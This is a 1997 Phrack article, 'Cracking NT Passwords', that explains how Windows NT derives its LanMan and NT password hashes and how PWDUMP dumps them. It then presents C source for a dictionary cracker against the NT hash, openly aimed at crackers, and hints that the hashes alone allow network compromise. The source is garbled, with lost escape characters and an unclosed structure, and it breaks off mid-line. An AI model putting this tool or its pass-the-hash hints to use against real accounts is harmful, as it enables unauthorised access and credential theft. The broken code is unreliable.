Subject: [Phrack] Cracking NT Passwords
.oO Phrack 50 Oo.
Volume Seven, Issue Fifty
8 of 16
Cracking NT Passwords
by Nihil
Recently a breakthrough was made by one of the Samba team members, Jeremy
Allison, that allows an administrator to dump the one-way functions (OWF)
of the passwords for each user from the Security Account Manager (SAM)
database, which is similar to a shadowed password file in *nix terms. The
program Jeremy wrote is called PWDUMP, and the source can be obtained from
the Samba team's FTP server. This is very useful for administrators of
Samba servers, for it allows them to easily replicate the user database
from Windows NT machines on Samba servers. It also helps system
administrators and crackers in another way: dictionary attacks against
user's passwords. There is more, but I will save that for later.
Windows NT stores two hashes of a user's password in general: the LanMan
compatible OWF and the NT compatible OWF. The LanMan OWF is generated by
limiting the user's password to 14 characters (padding with NULLs if it is
shorter), converting all alpha characters to uppercase, breaking the 14
characters (single byte OEM character set) into two 7 byte blocks,
expanding each 7 byte block into an 8 byte DES key with parity, and
encrypting a known string, {0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x4,0xEE}, with
each of the two keys and concatenating the results. The NT OWF is created
by taking up to 128 characters of the user's password, converting it to
unicode (a two byte character set used heavily in NT), and taking the MD4
hash of the string. In practice the NT password is limited to 14
characters by the GUI, though it can be set programmatically to something
greater in length.
The demonstration code presented in this article does dictionary attacks
against the NT OWF in an attempt to recover the NT password, for this is
what one needs to actually logon to the console. It should be noted that
it is much easier to brute force the LanMan password, but it is only used
in network authentication. If you have the skillz, cracking the LanMan
password can take you a long way towards cracking the NT password more
efficently, but that is left as an exercise for the reader ;>
For those readers wit da network programming skillz, the hashes themselves
are enough to comprimise a NT machine from the network. This is so because
the authentication protocol used in Windows NT relies on proof of the OWF
of the password, not the password itself. This is a whole other can of
worms we won't get into here.
The code itself is simple and pretty brain dead. Some Samba source was
used to speed up development time, and I would like to give thanks to the
Samba team for all their effort. Through the use of, and study of, Samba
several interesting security weaknesses in Windows NT have been uncovered.
This was not the intent of the Samba team, and really should be viewed as
what it is - some lame security implementations on Microsoft's part. Hey,
what do you expect from the people that brought you full featured (not in a
good way, mind you) macro languages in productivity applications?
You will need md4.c, md4.h, and byteorder.h from the Samba source
distribution inorder to compile the code here. It has been compiled and
tested using Visual C++ 4.2 on Windows NT 4.0, but I see no reason why it
should not compile and run on your favorite *nix platform. To truly be
useful, some code should be added to try permutations of the dictionary
entry and user name, but again, that is up to the reader.
One note: You will want to remove 3 lines from md4.c: the #ifdef SMB_PASSWD
at the top and corresponding #else and #endif at the bottom...
Here ya go:
<++> NTPWC/ntpwc.c
/*
* (C) Nihil 1997. All rights reserved. A Guild Production.
*
* This program is free for commercial and non-commercial use.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
* THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
/* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */
/* dictionary based NT password cracker. This is a temporary
* solution until I get some time to do something more
* intelligent. The input to this program is the output of
* Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN
* OWF passwords out of the NT registry and a crack style
* dictionary file. The output of PWDUMP looks
* a bit like UNIX passwd files with colon delimited fields.
*/
/* though the NT password can be up to 128 characters in theory,
* the GUI limits the password to 14 characters. The only way
* to set it beyond that is programmatically, and then it won't
* work at the console! So, I am limiting it to the first 14
* characters, but you can change it to up to 128 by modifying
* MAX_PASSWORD_LENGTH
*/
#define MAX_PASSWORD_LENGTH 14
/* defines for Samba code */
#define uchar unsigned char
#define int16 unsigned short
#define uint16 unsigned short
#define uint32 unsigned int
/* the user's info we are trying to crack */
typedef struct _USER_INFO
{
char* username;
unsigned long ntpassword[4];
/* from Samba source cut & pasted here */
static int _my_mbstowcs(int16*, uchar*, int);
static int _my_wcslen(int16*);
/* forward declarations */
void Cleanup(void);
int ParsePWEntry(char*, PUSER_INFO);
/* global variable definition, only reason is so we can register an
* atexit() fuction to zero these for paranoid reasons
*/
char pPWEntry[258];
char pDictEntry[129]; /* a 128 char password? yeah, in my wet dreams */
MDstruct MDContext; /* MD4 context structure */
int main(int argc,char *argv[])
{
FILE *hToCrack, *hDictionary;
PUSER_INFO pUserInfo;
PUNICODE_STRING pUnicodeDictEntry;
int i;
unsigned int uiLength;
/* register exit cleanup function */
atexit(Cleanup);
/* must have both arguments */
if (argc != 3)
{
printf("nUsage: %s <password file> <dictionary file>n", argv[0]);
exit(0);
}
/* open password file */
hToCrack = fopen(argv[1], "r");
if (hToCrack == NULL)
{
fprintf(stderr,"Unable to open password filen");
exit(-1);
}
/* open dictionary file */
hDictionary = fopen(argv[2], "r");
if (hDictionary == NULL)
{
fprintf(stderr,"Unable to open dictionary filen");
exit(-1);
}
/* allocate space for our user info structure */
pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));
if (pUserInfo == NULL)
{
fprintf(stderr,"Unable to allocate memory for user info structuren");
exit(-1);
}
/* allocate space for unicode version of the dictionary string */
pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));
if (pUnicodeDictEntry == NULL)
{
fprintf(stderr,"Unable to allocate memory for unicode conversionn");
free(pUserInfo);
exit(-1);
}
/* output a banner so the user knows we are running */
printf("nCrack4NT is running...n");
/* as long as there are entries in the password file read
* them in and crack away */
while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))
{
/* parse out the fields and fill our user structure */
if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)
{
continue;
}
/* reset file pointer to the beginning of the dictionary file */
if (fseek(hDictionary, 0, SEEK_SET))
{
fprintf(stderr,"Unable to reset file pointer in dictionaryn");
memset(pUserInfo->ntpassword, 0, HASHSIZE);
free(pUserInfo);
free(pUnicodeDictEntry);
exit(-1);
}
/* do while we have new dictionary entries */
while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))
{
/* doh...fgets is grabbing the fucking newline, how stupid */
if (pDictEntry[(strlen(pDictEntry) - 1)] == 'n')
{
pDictEntry[(strlen(pDictEntry) - 1)] = '